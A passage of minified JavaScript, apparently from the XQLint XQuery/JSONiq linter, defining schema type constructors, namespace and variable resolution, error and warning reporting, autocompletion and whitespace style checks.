xs:anyAtomicType?\"],annotations:[],name:\"date\",arity:1,eqname:{uri:e,name:\"date\"}},t[e].functions[e+\"#gYearMonth#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gYearMonth\",arity:1,eqname:{uri:e,name:\"gYearMonth\"}},t[e].functions[e+\"#gYear#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gYear\",arity:1,eqname:{uri:e,name:\"gYear\"}},t[e].functions[e+\"#gMonthDay#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gMonthDay\",arity:1,eqname:{uri:e,name:\"gMonthDay\"}},t[e].functions[e+\"#gDay#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gDay\",arity:1,eqname:{uri:e,name:\"gDay\"}},t[e].functions[e+\"#gMonth#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gMonth\",arity:1,eqname:{uri:e,name:\"gMonth\"}},t[e].functions[e+\"#hexBinary#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"hexBinary\",arity:1,eqname:{uri:e,name:\"hexBinary\"}},t[e].functions[e+\"#base64Binary#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"base64Binary\",arity:1,eqname:{uri:e,name:\"base64Binary\"}},t[e].functions[e+\"#anyURI#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"anyURI\",arity:1,eqname:{uri:e,name:\"anyURI\"}},t[e].functions[e+\"#QName#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"QName\",arity:1,eqname:{uri:e,name:\"QName\"}},t[e].functions[e+\"#normalizedString#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"normalizedString\",arity:1,eqname:{uri:e,name:\"normalizedString\"}},t[e].functions[e+\"#token#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"token\",arity:1,eqname:{uri:e,name:\"token\"}},t[e].functions[e+\"#language#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"language\",arity:1,eqname:{uri:e,name:\"language\"}},t[e].functions[e+\"#NMTOKEN#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"NMTOKEN\",arity:1,eqname:{uri:e,name:\"NMTOKEN\"}},t[e].functions[e+\"#Name#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"Name\",arity:1,eqname:{uri:e,name:\"Name\"}},t[e].functions[e+\"#NCName#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"NCName\",arity:1,eqname:{uri:e,name:\"NCName\"}},t[e].functions[e+\"#ID#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"ID\",arity:1,eqname:{uri:e,name:\"ID\"}},t[e].functions[e+\"#IDREF#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"IDREF\",arity:1,eqname:{uri:e,name:\"IDREF\"}},t[e].functions[e+\"#ENTITY#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"ENTITY\",arity:1,eqname:{uri:e,name:\"ENTITY\"}},t[e].functions[e+\"#integer#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"integer\",arity:1,eqname:{uri:e,name:\"integer\"}},t[e].functions[e+\"#nonPositiveInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"nonPositiveInteger\",arity:1,eqname:{uri:e,name:\"nonPositiveInteger\"}},t[e].functions[e+\"#negativeInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"negativeInteger\",arity:1,eqname:{uri:e,name:\"negativeInteger\"}},t[e].functions[e+\"#long#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"long\",arity:1,eqname:{uri:e,name:\"long\"}},t[e].functions[e+\"#int#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"int\",arity:1,eqname:{uri:e,name:\"int\"}},t[e].functions[e+\"#short#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"short\",arity:1,eqname:{uri:e,name:\"short\"}},t[e].functions[e+\"#byte#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"byte\",arity:1,eqname:{uri:e,name:\"byte\"}},t[e].functions[e+\"#nonNegativeInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"nonNegativeInteger\",arity:1,eqname:{uri:e,name:\"nonNegativeInteger\"}},t[e].functions[e+\"#unsignedLong#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedLong\",arity:1,eqname:{uri:e,name:\"unsignedLong\"}},t[e].functions[e+\"#unsignedInt#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedInt\",arity:1,eqname:{uri:e,name:\"unsignedInt\"}},t[e].functions[e+\"#unsignedShort#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedShort\",arity:1,eqname:{uri:e,name:\"unsignedShort\"}},t[e].functions[e+\"#unsignedByte#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedByte\",arity:1,eqname:{uri:e,name:\"unsignedByte\"}},t[e].functions[e+\"#positiveInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"positiveInteger\",arity:1,eqname:{uri:e,name:\"positiveInteger\"}},t[e].functions[e+\"#yearMonthDuration#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"yearMonthDuration\",arity:1,eqname:{uri:e,name:\"yearMonthDuration\"}},t[e].functions[e+\"#dayTimeDuration#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"dayTimeDuration\",arity:1,eqname:{uri:e,name:\"dayTimeDuration\"}},t[e].functions[e+\"#untypedAtomic#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"untypedAtomic\",arity:1,eqname:{uri:e,name:\"untypedAtomic\"}},t}},{}],4:[function(e,t,n){n.StaticContext=function(t,n){\"use strict\";var r=e(\"../tree_ops\").TreeOps,i=e(\"./errors\"),s=i.StaticError,o=i.StaticWarning,u=e(\"./schema_built-in_types\").getSchemaBuiltinTypes,a={sl:0,sc:0,el:0,ec:0},f={},l=function(e){return e.uri+\"#\"+e.name},c=function(e,t){return l(e)+\"#\"+t};t||(f[\"http://jsoniq.org/functions\"]={prefix:\"jn\",pos:a,type:\"module\",override:!0},f[\"http://www.28msec.com/modules/collections\"]={prefix:\"db\",pos:a,type:\"module\",override:!0},f[\"http://www.28msec.com/modules/store\"]={prefix:\"store\",pos:a,type:\"module\",override:!0},f[\"http://jsoniq.org/function-library\"]={prefix:\"libjn\",pos:a,type:\"module\",override:!0},f[\"http://www.w3.org/2005/xpath-functions\"]={prefix:\"fn\",pos:a,type:\"module\",override:!0},f[\"http://www.w3.org/2005/xquery-local-functions\"]={prefix:\"local\",pos:a,type:\"declare\",override:!0},f[\"http://www.w3.org/2001/XMLSchema-instance\"]={prefix:\"xsi\",pos:a,type:\"declare\"},f[\"http://www.w3.org/2001/XMLSchema\"]={prefix:\"xs\",pos:a,type:\"declare\"},f[\"http://www.w3.org/XML/1998/namespace\"]={prefix:\"xml\",pos:a,type:\"declare\"},f[\"http://zorba.io/annotations\"]={prefix:\"an\",pos:a,type:\"declare\",override:!0},f[\"http://www.28msec.com/annotations/rest\"]={prefix:\"rest\",pos:a,type:\"declare\",override:!0},f[\"http://www.w3.org/2005/xqt-errors\"]={prefix:\"err\",pos:a,type:\"declare\",override:!0},f[\"http://zorba.io/errors\"]={prefix:\"zerr\",pos:a,type:\"declare\",override:!0});var h={parent:t,children:[],pos:n,setModuleResolver:function(e){return this.root.moduleResolver=e,this},setModules:function(e){if(this!==this.root)throw new Error(\"setModules() not invoked from the root static context.\");this.moduleResolver=function(t){return e[t]};var t=this;return Object.keys(this.namespaces).forEach(function(e){var n=t.namespaces[e];if(n.type===\"module\"){var i=t.moduleResolver(e);i.variables&&r.concat(t.variables,i.variables),i.functions&&r.concat(t.functions,i.functions)}}),this},setModulesFromXQDoc:function(e){if(this!==this.root)throw new Error(\"setModulesFromXQDoc() not invoked from the root static context.\");var t={};Object.keys(e).forEach(function(n){var r=e[n],i={},s={};r.functions.forEach(function(e){s[n+\"#\"+e.name+\"#\"+e.arity]={params:[],annotations:[],name:e.name,arity:e.arity,eqname:{uri:n,name:e.name}},e.parameters.forEach(function(t){s[n+\"#\"+e.name+\"#\"+e.arity].params.push(\"$\"+t.name)})}),r.variables.forEach(function(e){var t=e.name.substring(e.name.indexOf(\":\")+1);i[n+\"#\"+t]={type:\"VarDecl\",annotations:[],eqname:{uri:n,name:t}}}),t[n]={variables:i,functions:s}}),this.root.moduleResolver=function(e){return t[e]};var n=this;return Object.keys(this.namespaces).forEach(function(e){var t=n.namespaces[e];if(t.type===\"module\"){var i=n.moduleResolver(e);i.variables&&r.concat(n.variables,i.variables),i.functions&&r.concat(n.functions,i.functions)}}),this},moduleNamespace:\"\",defaultFunctionNamespace:\"http://www.w3.org/2005/xpath-functions\",defaultFunctionNamespaces:[\"http://www.28msec.com/modules/collections\",\"http://www.28msec.com/modules/store\",\"http://jsoniq.org/functions\",\"http://jsoniq.org/function-library\",\"http://www.w3.org/2001/XMLSchema\"],defaultElementNamespace:\"\",namespaces:f,availableModuleNamespaces:[],importModule:function(e,t,n){if(this!==this.root)throw new Error(\"Function not invoked from the root static context.\");this.addNamespace(e,t,n,\"module\");if(this.moduleResolver)try{var i=this.moduleResolver(e,[]);i.variables&&r.concat(this.variables,i.variables),i.functions&&r.concat(this.functions,i.functions)}catch(o){throw new s(\"XQST0059\",'module \"'+e+'\" not found',n)}return this},getAvailableModuleNamespaces:function(){return this.root.availableModuleNamespaces},getPrefixByNamespace:function(e){return this.root.namespaces[e].prefix},addNamespace:function(e,t,n,r){if(t===\"\"&&r===\"module\")throw new o(\"W01\",\"Avoid this type of import. Use import module namespace instead\",n);if(e===\"\")throw new s(\"XQST0088\",\"empty target namespace in module import or module declaration\",n);var i=this.getNamespace(e);if(i&&i.type===r&&r!==\"declare\"&&!i.override)throw new s(\"XQST0047\",'\"'+e+'\": duplicate target namespace',n);i=this.getNamespaceByPrefix(t);if(i&&!i.override)throw new s(\"XQST0033\",'\"'+t+'\": namespace prefix already bound to \"'+i.uri+'\"',n);i=this.namespaces[e],this.namespaces[e]={prefix:t,pos:n,type:r};if(i)throw new o(\"W02\",'\"'+e+'\" already bound to the \"'+i.prefix+'\" prefix',n)},getNamespaces:function(){return this.root.namespaces},getNamespace:function(e){var t=this;while(t){var n=t.namespaces[e];if(n)return n;t=t.parent}},getNamespaceByPrefix:function(e){var t=function(t){var r=n.namespaces[t];if(r.prefix===e)throw r.uri=t,r},n=this;while(n){try{Object.keys(n.namespaces).forEach(t)}catch(r){return r}n=n.parent}},resolveQName:function(e,t){var n={uri:\"\",prefix:\"\",name:\"\"},r;if(e.substring(0,2)===\"Q{\")r=e.indexOf(\"}\"),n.uri=e.substring(2,r),n.name=e.substring(r+1);else{r=e.indexOf(\":\"),n.prefix=e.substring(0,r);var i=this.getNamespaceByPrefix(n.prefix);if(!i&&n.prefix!==\"\"&&[\"fn\",\"jn\"].indexOf(n.prefix)===-1)throw new s(\"XPST0081\",'\"'+n.prefix+'\": can not expand prefix of lexical QName to namespace URI',t);i&&(n.uri=i.uri),n.name=e.substring(r+1)}return n},variables:{},varRefs:{},functionCalls:{},addVariable:function(e,t,n){if(t!==\"VarDecl\"||this.moduleNamespace===\"\"||this.moduleNamespace===e.uri||e.uri===\"\"&&this.defaultFunctionNamespace===this.moduleNamespace){var r=l(e);if(t===\"VarDecl\"&&this.variables[r])throw new s(\"XQST0049\",'\"'+e.name+'\": duplicate variable declaration',n);return this.variables[r]={type:t,pos:n,qname:e,annotations:{}},this}throw new s(\"XQST0048\",'\"'+e.prefix+\":\"+e.name+'\": Qname not library namespace',n)},getVariables:function(){var e={},t=this,n=function(n){e[n]||(e[n]=t.variables[n])};while(t)Object.keys(t.variables).forEach(n),t=t.parent;return e},getVariable:function(e){var t=l(e),n=this;while(n){if(n.variables[t])return n.variables[t];n=n.parent}},addVarRef:function(e,t){var n=this.getVariable(e);if(!n&&(e.uri===\"\"||this.root.moduleResolver))throw new s(\"XPST0008\",'\"'+e.name+'\": undeclared variable',t);var r=l(e);this.varRefs[r]=!0},addFunctionCall:function(e,t,n){var r=this.getFunction(e,t);if(!(!!r||e.uri!==\"http://www.w3.org/2005/xquery-local-functions\"&&!this.root.moduleResolver||(e.uri===\"http://www.w3.org/2005/xpath-functions\"||e.uri===\"\"&&this.root.defaultFunctionNamespaces.concat(this.root.defaultFunctionNamespace).indexOf(\"http://www.w3.org/2005/xpath-functions\")!==-1)&&e.name===\"concat\")&&!r)throw new s(\"XPST0008\",'\"'+e.name+\"#\"+t+'\": undeclared function',n);var i=c(e,t);this.functionCalls[i]=!0},functions:u()[\"http://www.w3.org/2001/XMLSchema\"].functions,getFunctions:function(){return this.root.functions},getFunction:function(e,t){var n=c(e,t),r;if(e.uri===\"\"){var i=this;return this.root.defaultFunctionNamespaces.concat([this.root.defaultFunctionNamespace]).forEach(function(n){if(!!r)return!1;r=i.getFunction({uri:n,prefix:e.prefix,name:e.name},t)}),r}return this.root.functions[n]},addFunction:function(e,t,n){if(this!==this.root)throw new Error(\"addFunction() not invoked from the root static context.\");var r=n.length;if(this.moduleNamespace===\"\"||this.moduleNamespace===e.uri||e.uri===\"\"&&this.defaultFunctionNamespace===this.moduleNamespace){var i=c(e,r);if(this.functions[i])throw new s(\"XQST0034\",'\"'+e.name+'\": duplicate function declaration',t);return this.functions[i]={pos:t,params:n},this}throw new s(\"XQST0048\",'\"'+e.prefix+\":\"+e.name+'\": Qname not library namespace',t)}};return h.root=t?t.root:h,h}},{\"../tree_ops\":11,\"./errors\":1,\"./schema_built-in_types\":3}],5:[function(e,t,n){n.Translator=function(t,n){\"use strict\";var r=e(\"./errors\"),i=r.StaticError,s=r.StaticWarning,o=e(\"../tree_ops\").TreeOps,u=e(\"./static_context\").StaticContext,a=e(\"./handlers\"),f=function(e,t){var n=[];return t.length===0?e:(e.children.forEach(function(e){e.name===t[0]&&t.length>1?n=f(e,t.slice(1)):e.name===t[0]&&n.push(e)}),n)},l=[];this.apply=function(e){try{e()}catch(t){if(t instanceof i)c(t);else{if(!(t instanceof s))throw t;h(t.getCode(),t.getMessage(),t.getPos())}}};var c=function(e){l.push({pos:e.getPos(),type:\"error\",level:\"error\",message:\"[\"+e.getCode()+\"] \"+e.getMessage()})},h=function(e,t,n){l.push({pos:n,type:\"warning\",level:\"warning\",message:\"[\"+e+\"] \"+t})};this.getMarkers=function(){return l};var p=this;t.pos=n.pos;var d=t,v=function(e){d=new u(d,e),d.parent.children.push(d)},m=function(e){e!==undefined&&(d.pos.el=e.el,d.pos.ec=e.ec),Object.keys(d.varRefs).forEach(function(e){d.variables[e]||(d.parent.varRefs[e]=!0)}),Object.keys(d.variables).forEach(function(e){!d.varRefs[e]&&d.variables[e].type!==\"GroupingVariable\"&&d.variables[e].type!==\"CatchVar\"&&h(\"W03\",'Unused variable \"$'+d.variables[e].qname.name+'\"',d.variables[e].pos)}),d=d.parent};this.visitOnly=function(e,t){e.children.forEach(function(e){t.indexOf(e.name)!==-1&&p.visit(e)})},this.getFirstChild=function(e,t){var n;return e.children.forEach(function(e){e.name===t&&n===undefined&&(n=e)}),n},this.ModuleDecl=function(e){return this.visitChildren(e,a.ModuleDecl(p,t,e)),!0},this.Prolog=function(e){return this.visitOnly(e,[\"DefaultNamespaceDecl\",\"Setter\",\"NamespaceDecl\",\"Import\"]),n.index.forEach(function(e){if(e.name===\"VarDecl\")e.children.forEach(function(n){n.name===\"VarName\"&&p.apply(function(){var r=o.flatten(n),i=t.resolveQName(r,n.pos);t.addVariable(i,e.name,n.pos)})});else if(e.name===\"FunctionDecl\"){var n,r,i=[];e.children.forEach(function(e){e.name===\"EQName\"?(n=e,r=e.pos):e.name===\"ParamList\"&&e.children.forEach(function(e){e.name===\"Param\"&&i.push(o.flatten(e))})}),p.apply(function(){n=o.flatten(n),n=t.resolveQName(n,r),t.addFunction(n,r,i)})}}),this.visitOnly(e,[\"ContextItemDecl\",\"AnnotatedDecl\",\"OptionDecl\"]),!0},this.ModuleImport=function(e){return this.visitChildren(e,a.ModuleImport(p,t,e)),!0},this.SchemaImport=function(e){return this.visitChildren(e,a.SchemaImport(p,t,e)),!0},this.DefaultNamespaceDecl=function(e){return this.visitChildren(e,a.DefaultNamespaceDecl(p,t,e)),!0},this.NamespaceDecl=function(e){return this.visitChildren(e,a.NamespaceDecl(p,t,e)),!0};var g={};this.AnnotatedDecl=function(e){return g={},this.visitChildren(e,a.NamespaceDecl(p,t,e)),!0},this.CompatibilityAnnotation=function(){return g[\"http://www.w3.org/2012/xquery#updating\"]=[],!0},this.Annotation=function(e){return this.visitChildren(e,{EQName:function(e){var t=o.flatten(e);p.apply(function(){var n=d.resolveQName(t,e.pos);g[n.uri+\"#\"+n.name]=[]})}}),!0},this.VarDecl=function(e){try{var n=p.getFirstChild(e,\"VarName\"),r=o.flatten(n),i=d.resolveQName(r,n.pos),s=t.getVariable(i);s&&(s.annotations=g)}catch(u){}return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),!0},this.FunctionDecl=function(e){var t=g[\"http://www.w3.org/2012/xquery#updating\"]!==undefined,n=f(e,[\"ReturnType\"])[0],r=f(e,[\"EQName\"])[0];!n&&!t&&h(\"W05\",\"Untyped return value\",r.pos);var i=!1;return e.children.forEach(function(e){if(e.name===\"TOKEN\"&&e.value===\"external\")return i=!0,!1}),i||(v(e.pos),this.visitChildren(e),m()),!0},this.VarRef=function(e){return this.visitChildren(e,a.VarRefHandler(p,d,e)),!0},this.Param=function(e){var t=f(e,[\"TypeDeclaration\"])[0];return t||h(\"W05\",\"Untyped function parameter\",e.pos),this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.InlineFunctionExpr=function(e){return v(e.pos),this.visitChildren(e),m(),!0};var y=[],b=function(e){v(e.pos),y.push(0),p.visitChildren(e);for(var t=1;t<=y[y.length-1];t++)m(e.pos);y.pop(),m()};this.StatementsAndOptionalExpr=function(e){return b(e),!0},this.StatementsAndExpr=function(e){return b(e),!0},this.BlockStatement=function(e){return b(e),!0},this.VarDeclStatement=function(e){v(e.pos),y[y.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e))};var w=[];this.FLWORExpr=this.FLWORStatement=function(e){v(e.pos),w.push(0),this.visitChildren(e);for(var t=1;t<=w[w.length-1];t++)m(e.pos);return w.pop(),m(),!0},this.ForBinding=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.LetBinding=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.GroupingSpec=function(e){var t=!1;e.children.forEach(function(e){if(e.value===\":=\")return t=!0,!1});if(t){var n=e.children[0];return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(n,a.VarHandler(p,d,n)),!0}},this.TumblingWindowClause=function(e){return this.visitOnly(e,[\"ExprSingle\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),this.visitOnly(e,[\"WindowStartCondition\",\"WindowEndCondition\"]),!0},this.WindowVars=function(e){return v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.SlidingWindowClause=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),this.visitOnly(e,[\"WindowStartCondition\",\"WindowEndCondition\"]),!0},this.PositionalVar=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.PositionalVar=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.CurrentItem=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.PreviousItem=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.NextItem=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.CountClause=function(e){return v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.CaseClause=function(e){return v(e.pos),this.visitChildren(e,a.VarHandler(p,d,e)),this.visitOnly(e,[\"ExprSingle\"]),m(),!0},this.TransformExpr=function(e){return v(e.pos),this.visitChildren(e),m(),!0},this.TransformSpec=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),this.visitChildren(e,a.VarHandler(p,d,e)),!0};var E=[];this.QuantifiedExpr=function(e){v(e.pos),E.push(0),this.visitChildren(e);for(var t=1;t<=E[E.length-1];t++)m(e.pos);return E.pop(),m(),!0},this.QuantifiedVarDecl=function(e){return this.visitOnly(e,[\"ExprSingle\"]),v(e.pos),E[E.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.FunctionCall=function(e){this.visitOnly(e,[\"ArgumentList\"]);var t=p.getFirstChild(e,\"EQName\"),n=o.flatten(t),r=f(e,[\"ArgumentList\",\"Argument\"]).length;return p.apply(function(){var i=d.resolveQName(n,e.pos);try{i.uri!==\"\"&&(d.root.namespaces[i.uri].used=!0)}catch(s){}d.addFunctionCall(i,r,t.pos)}),!0},this.TryClause=function(e){return v(e.pos),this.visitChildren(e),m(),!0},this.CatchClause=function(e){v(e.pos);var t=\"err\",n=\"http://www.w3.org/2005/xqt-errors\",r={sl:0,sc:0,el:0,ec:0};return d.addVariable({prefix:t,uri:n,name:\"code\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"description\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"value\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"module\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"line-number\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"column-number\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"additional\"},\"CatchVar\",r),this.visitChildren(e),m(),!0},this.Pragma=function(e){var n=o.flatten(f(e,[\"EQName\"])[0]);n=t.resolveQName(n,e);var r=o.flatten(f(e,[\"PragmaContents\"])[0]);if(n.name===\"xqlint\"&&n.uri===\"http://xqlint.io\"){v(e.pos);var i=r.match(/[a-zA-Z]+\\(([^)]+)\\)/g);return i.forEach(function(t){var n=t.substring(0,t.indexOf(\"(\")),r=t.substring(0,t.length-1).substring(t.indexOf(\"(\")+1).split(\",\").map(function(e){return e.trim()});n===\"varrefs\"&&r.forEach(function(t){var n=d.resolveQName(t.substring(1),e.pos);n.uri!==\"\"&&(d.root.namespaces[n.uri].used=!0),d.addVarRef(n,e.pos)})}),this.visitChildren(e),m(),!0}},this.visit=function(e){var t=e.name,n=!1;typeof this[t]==\"function\"&&(n=this[t](e)===!0),n||this.visitChildren(e)},this.visitChildren=function(e,t){for(var n=0;n<e.children.length;n++){var r=e.children[n];t!==undefined&&typeof t[r.name]==\"function\"?t[r.name](r):this.visit(r)}},this.visit(n),Object.keys(t.variables).forEach(function(e){!t.varRefs[e]&&(t.variables[e].annotations[\"http://www.w3.org/2005/xpath-functions#private\"]||t.moduleNamespace===\"\")&&t.variables[e].pos&&h(\"W03\",'Unused variable \"'+t.variables[e].qname.name+'\"',t.variables[e].pos)}),Object.keys(t.namespaces).forEach(function(e){var n=t.namespaces[e];n.used===undefined&&!n.override&&n.type===\"module\"&&h(\"W04\",'Unused module \"'+e+'\"',n.pos)})}},{\"../tree_ops\":11,\"./errors\":1,\"./handlers\":2,\"./static_context\":4}],6:[function(e,t,n){\"use strict\";function s(e,t,n){n=n||i;var r=[];for(var s=t-1;s>=0;s--){if(!n.test(e[s]))break;r.push(e[s])}return r.reverse().join(\"\")}function o(e,t){var n=0,r=e.length-1,i=Math.floor((r+n)/2);while(r>n&&i>=0&&e[i].indexOf(t)!==0)t<e[i]?r=i-1:t>e[i]&&(n=i+1),i=Math.floor((r+n)/2);while(i>0&&e[i-1].indexOf(t)===0)i--;return i>=0?i:0}var r=e(\"../tree_ops\").TreeOps,i=/[a-zA-Z_0-9\\$]/,u=/[a-zA-Z_0-9\\/\\.:\\-#]/,a=\"-._A-Za-z0-9:\\u00b7\\u00c0-\\u00d6\\u00d8-\\u00f6\\u00f8-\\u02ff\\u0300-\\u037d\\u037f-\\u1fff\\u200c\\u200d\\u203f\\u2040\\u2070-\\u218f\\u2c00-\\u2fef\\u3001-\\ud7ff\\uf900-\\ufdcf\\ufdf0-\\ufffd\",f=\"[\"+a+\"]\",l=\"[\"+a+\"\\\\$]\",c=new RegExp(f),h=new RegExp(l),p={LetBinding:\"Let binding\",Param:\"Function parameter\",QuantifiedExpr:\"Quantified expression binding\",VarDeclStatement:\"Local variable\",ForBinding:\"For binding\",TumblingWindowClause:\"Tumbling window binding\",WindowVars:\"Window variable\",SlidingWindowClause:\"Sliding window binding\",PositionalVar:\"Positional variable\",CurrentItem:\"Current item\",PreviousItem:\"Previous item\",NextItem:\"Next item\",CountClause:\"Count binding\",GroupingVariable:\"Grouping variable\",VarDecl:\"Module variable\"},d=function(e,t){t.sort();var n=o(t,e),r=[];for(var i=n;i<t.length&&t[i].indexOf(e)===0;i++)r.push(t[i]);return r},v=function(e,t,n){var r=e.indexOf(\":\");if(r===-1){var i=[],s=n.getNamespaces();Object.keys(s).forEach(function(e){(s[e].type===\"module\"||e===\"http://www.w3.org/2005/xquery-local-functions\")&&i.push(s[e].prefix)});var o=d(e,i),u=function(e){return{name:e+\":\",value:e+\":\",meta:\"prefix\"}};return o.map(u)}return[]},m=function(e,t,n){var r=[],i={},s=n.getFunctions(),o=\"\",u=\"\",a=e,f=e.indexOf(\":\"),l=!1;if(f!==-1){u=e.substring(0,f),a=e.substring(f+1);var h=n.getNamespaceByPrefix(u);h&&(o=n.getNamespaceByPrefix(u).uri)}else l=!0,o=n.root.defaultFunctionNamespace;Object.keys(s).forEach(function(e){var t=s[e],u=e.substring(0,e.indexOf(\"#\")),a=e.substring(e.indexOf(\"#\")+1);a=a.substring(0,a.indexOf(\"#\"));if(u!==o)return;l||(a=n.getNamespaces()[u].prefix+\":\"+a),a+=\"(\";var f=a;f+=t.params.map(function(e,t){return\"${\"+(t+1)+\":\\\\\"+e.split(\" \")[0]+\"}\"}).join(\", \"),a+=t.params.join(\", \"),a+=\")\",f+=\")\",r.push(a),i[a]=f});var p=d(e,r),v=function(e){return{name:e,value:e,meta:\"function\",priority:4,identifierRegex:c,snippet:i[e]}};return p.map(v)},g=function(e,t,n){var r=\"\",i=\"\",s=e.indexOf(\":\");s!==-1&&(i=e.substring(0,s),r=n.getNamespaceByPrefix(i).uri);var o=n.getVariables(),u=[],a={};Object.keys(o).forEach(function(e){var t=e.indexOf(\"#\"),r=e.substring(0,t),i=e.substring(t+1);r!==\"\"?(u.push(n.getPrefixByNamespace(r)+\":\"+i),a[n.getPrefixByNamespace(r)+\":\"+i]=o[e].type):(u.push(i),a[i]=o[e].type)});var f=d(e,u),l=function(e){return{name:\"$\"+e,value:\"$\"+e,meta:p[a[e]],priority:4,identifierRegex:h}};return f.map(l)},y=function(e,t,n){var r=s(e,t.col,c),i=e.substring(0,t.col-(r.length===0?0:r.length)),o=i[i.length-1]===\"$\";return o?g(r,t,n):r!==\"\"?m(r,t,n).concat(v(r,t,n)):g(r,t,n).concat(m(r,t,n)).concat(v(r,t,n))},b=function(e,t,n){var r=s(e,t.col,u),i=d(r,n.getAvailableModuleNamespaces()),o=function(e){return{name:e,value:e,meta:\"module\",priority:4,identifierRegex:u}};return i.map(o)};n.complete=function(e,t,n,i){var s=e.split(\"\\n\")[i.line],o=r.findNode(t,i),u=r.findNode(n,i);return u=u?u:n,o&&o.name===\"URILiteral\"&&o.getParent&&o.getParent.name===\"ModuleImport\"?b(s,i,u):y(s,i,u)}},{\"../tree_ops\":11}],7:[function(e,t,n){n.StyleChecker=function(e,t){\"use strict\";var n=\"    \",r=[];this.getMarkers=function(){return r},this.WS=function(e){var t=e.value.split(\"\\n\");return t.forEach(function(i,s){var o=s===0,u=s===t.length-1;/\\r$/.test(i)&&r.push({pos:{sl:e.pos.sl+s,el:e.pos.sl+s,sc:i.length-1,ec:i.length},type:\"warning\",level:\"warning\",message:\"[SW01] Detected CRLF\"});var a=i.match(/\\t+/);a!==null&&r.push({pos:{sl:e.pos.sl+s,el:e.pos.sl+s,sc:a.index,ec:a.index+a[0].length},type:\"warning\",level:\"warning\",message:\"[SW02] Tabs detected\"});if(!o&&u){a=i.match(/^\\ +/);if(a!==null){var f=a[0].length%n.length;f!==0&&r.push({pos:{sl:e.pos.sl+s,el:e.pos.sl+s,sc:a.index,ec:a.index+a[0].length},type:\"warning\",level:\"warning\",message:\"[SW03] Unexcepted indentation of \"+a[0].length})}}}),!0},this.visit=function(e,t){var n=e.name,r=!1;typeof this[n]==\"function\"&&(r=this[n](e,t)===!0),r||this.visitChildren(e)},this.visitChildren=function(e,t){for(var n=0;n<e.children.length;n++){var r=e.children[n];t!==undefined&&typeof t[r.name]==\"function\"?t[r.name](r):this.visit(r)}},t.split(\"\\n\").forEach(function(e,t){var n=e.match(/\\ 